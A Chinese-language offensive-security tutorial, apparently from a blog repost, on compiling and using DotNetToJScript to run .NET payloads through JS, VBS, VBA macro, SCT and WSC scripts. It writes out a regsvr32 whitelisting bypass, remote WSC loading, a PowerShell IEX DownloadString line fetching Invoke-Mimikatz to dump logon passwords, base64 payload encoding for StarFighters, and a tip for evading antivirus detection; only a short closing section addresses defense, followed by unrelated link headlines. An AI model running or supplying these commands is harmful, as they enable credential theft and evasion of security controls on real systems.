工具解析篇:高效利用JS載入.Net程序
0x00 前言
最近James Forshaw開源了一個工具DotNetToJScript,能夠利用JS/Vbs腳本載入.Net程序,很有趣。
Casey Smith和Cn33liz都對此做了進一步研究,開源了他們的利用代碼。
本文將要對該技術作系統整理,幫助大家更好的認識。
0x01 簡介
本文將要介紹以下內容:
1. DotNetToJScript編譯方法
2. DotNetToJScript使用方法
3. 利用JS/Vbs執行shellcode
4. 利用JS/Vbs執行powershell腳本
0x02 DotNetToJScript編譯方法
DotNetToJScript下載地址:
https://github.com/tyranid/DotNetToJScript
報錯1:
缺少程序集引用NDesk.Options
解決方法:
需要添加引用NDesk.Options
下載地址:
解壓縮,工程-添加引用-瀏覽-ndesk-options-0.2.1.binndesk-options-0.2.1.binlibndesk-optionsNDesk.Options.dll
接下來,將目標框架指定為.NET Frameword 2.0,重新編譯
報錯2:
缺少程序集引用Linq
解決方法:
添加對System.Core.dll 3.5的引用
位置:
C:Program FilesReference AssembliesMicrosoftFrameworkv3.5System.Core.dll
添加引用後編譯成功,分別在兩個目錄生成DotNetToJScript.exe和ExampleAssembly.dll
0x03 DotNetToJScript使用方法
1、生成js腳本
參數如下:
DotNetToJScript.exe -o 1.js ExampleAssembly.dll
執行後,生成1.js
執行1.js,調用ExampleAssembly.dll中的public TestClass()
如下圖
執行過程如下圖,彈出對話框
2、生成vbs腳本
參數如下:
DotNetToJScript.exe -l vbscript -o 2.vbs ExampleAssembly.dll
執行如下圖
3、生成vba腳本
參數如下:
DotNetToJScript.exe -l vba -o 2.txt ExampleAssembly.dll
用來放在office宏中
4、生成sct腳本
參數如下:
DotNetToJScript.exe -u -o 3.sct ExampleAssembly.dll
啟動方式:
命令行參數如下:
regsvr32.exe /u /n /s /i:3.sct scrobj.dll
註:
細節可參考之前的文章《Use SCT to Bypass Application Whitelisting Protection》
5、生成wsc腳本
參數如下:
DotNetToJScript.exe -m -o 4.wsc ExampleAssembly.dll
啟動方式1:本地調用
通過js調用,js腳本內容如下:
GetObject("script:C:test4.wsc");
註:
需要絕對路徑,wsc文件後綴名任意
啟動方式2:遠程啟動
將4.wsc保存在github,地址如下:
https://raw.githubusercontent.com/3gstudent/test/master/4.wsc
js腳本內容如下:
GetObject("script:https://raw.githubusercontent.com/3gstudent/test/master/4.wsc")
註:
細節可參考之前的文章《WSC、JSRAT and WMI Backdoor》
0x04 利用JS/Vbs能夠實現的payload匯總
對以上測試中的ExampleAssembly.dll,可替換成其他payload:
1、執行shellcode
代碼可參考如下地址:
新建c#工程,可選擇c#控制台應用程序,編譯成exe
生成js腳本的參數如下:
DotNetToJScript.exe -o shellcode.js shellcode.exe
測試如下圖
2、執行mimikatz
代碼可參考如下地址:
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f
在c#中執行mimikatz的代碼可參考如下地址:
https://gist.github.com/subTee/5c636b8736530fb20c3d
3、執行powershell
代碼可參考如下地址:
https://github.com/Cn33liz/StarFighters
作者:Cn33liz
StarFighters:
1. 能夠載入Empire框架的啟動代碼
2. 支持JavaScript和VBScript
3. 不需要powershell.exe,可用於繞過白名單攔截
4. 通過powershell runspace environment (.NET)執行powershell代碼
執行powershell代碼的方式可參考工程p0wnedShell,地址如下:
https://github.com/Cn33liz/p0wnedShell
我之前對此做過研究,對其精簡代碼,使其支持.net 2.0,地址如下:
https://github.com/3gstudent/Smallp0wnedShell
實際測試:
StarFighters不僅能夠載入Empire框架的啟動代碼,也可用來直接執行powershell命令
方式如下:
(1)執行powershell單條命令
需要對命令作base64編碼,命令如下:
$code = start calc.exe $bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded
得到base64代碼如下:
cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
替換StarFighter.js中的var EncodedPayload
成功執行,彈出計算器如下圖
(2)本地執行powershell腳本
使用Invoke-Mimikatz.ps1,下載地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
添加導口令的操作代碼:
Invoke-Mimikatz -Command "log privilege::debug sekurlsa::logonpasswords"
註:
添加log參數是為了將結果導出到文件mimikatz.log
命令如下:
$code = Get-Content -Path Invoke-Mimikatz.ps1$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded | Out-File 1.txt
將生成的1.txt中的內容替換StarFighter.js中的var EncodedPayload
(3)遠程執行powershell腳本
powershell命令如下:
powershell IEX "(New-Object Net.WebClient).DownloadString( https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 ); Invoke-Mimikatz -Command log privilege::debug sekurlsa::logonpasswords "
作base64的代碼如下:
$code = Get-Content -Path code.txt$bytes = [System.Text.Encoding]::UNICODE.GetBytes($code);$encoded = [System.Convert]::ToBase64String($bytes)$encoded | Out-File 2.txt
將生成的2.txt中的內容替換StarFighter.js中的var EncodedPayload
註:
某殺毒軟體默認會查殺該js腳本,一個繞過靜態查殺的思路(不保證有效期):
1. 將腳本保存成ASCII格式,會被查殺
2. 換成UNICODE格式,不被查殺
0x05 防禦
站在防禦的角度,大家都會對powerShell.exe作攔截,但是這還遠遠不夠:
powershell runspace environment (.NET)才是重點
具體到本文的技巧,防禦方法如下:
分別對js、vbs、vba宏、sct、wsc腳本作限制
※國內研究人員發現GMR-2漏洞,可實時解密衛星電話通訊
※超級間諜軟體SpyDealer:可同時監視40餘款安卓應用,包括微信、淘寶、百度網盤等
※繞過AppLocker系列之MSBuild的利用
※為遏制猖獗的刷榜,蘋果把十年前的技術也搬出來用了…
※針對藍牙4.0 BLE通訊過程的逆向和攻擊
TAG:嘶吼RoarTalk |
※Photoshop詳細解析HSL調色工具的使用技巧
※利用Frida打造ELF解析器
※Net Core SDK全球使用數據解析
※如何用 Linux 命令行工具解析和格式化輸出 JSON
※解析.DS_Store文件格式
※解析 USB 3.2 規格的變化:傳輸速度加倍!雙通道技術導入 USB Type-C
※導演 Sing J. Lee 解析 Migos 新歌《Stir Fry》 MV 拍攝靈感
※教你用Python解析HTML
※RequireJS框架源代碼解析
※FARO展示了具有高解析度全彩色掃描的Design ScanArm 2.5C
※解析|intel i7 CPU生產全過程圖解
※Android項目解耦-路由框架ARouter源碼解析
※HDFS BlockToken機制解析
※Illustrator詳細解析混合工具的使用方法
※《Fighting EX Layer》PC版將支持4K解析度
※韓團隊實現超高解析度NanoLens,技轉設備廠商JuSung
※Hi-Res高解析 索尼NW-A55音樂播放器體驗
※EnvisionTEC現提供最高解析度的大型3D印表機
※專訪PerkinElmer|「高內涵」成像分析系統,解析細胞信息的「利器」
※XML、XML約束、XML解析、常用的xml解析器(DOM4J)、XPATH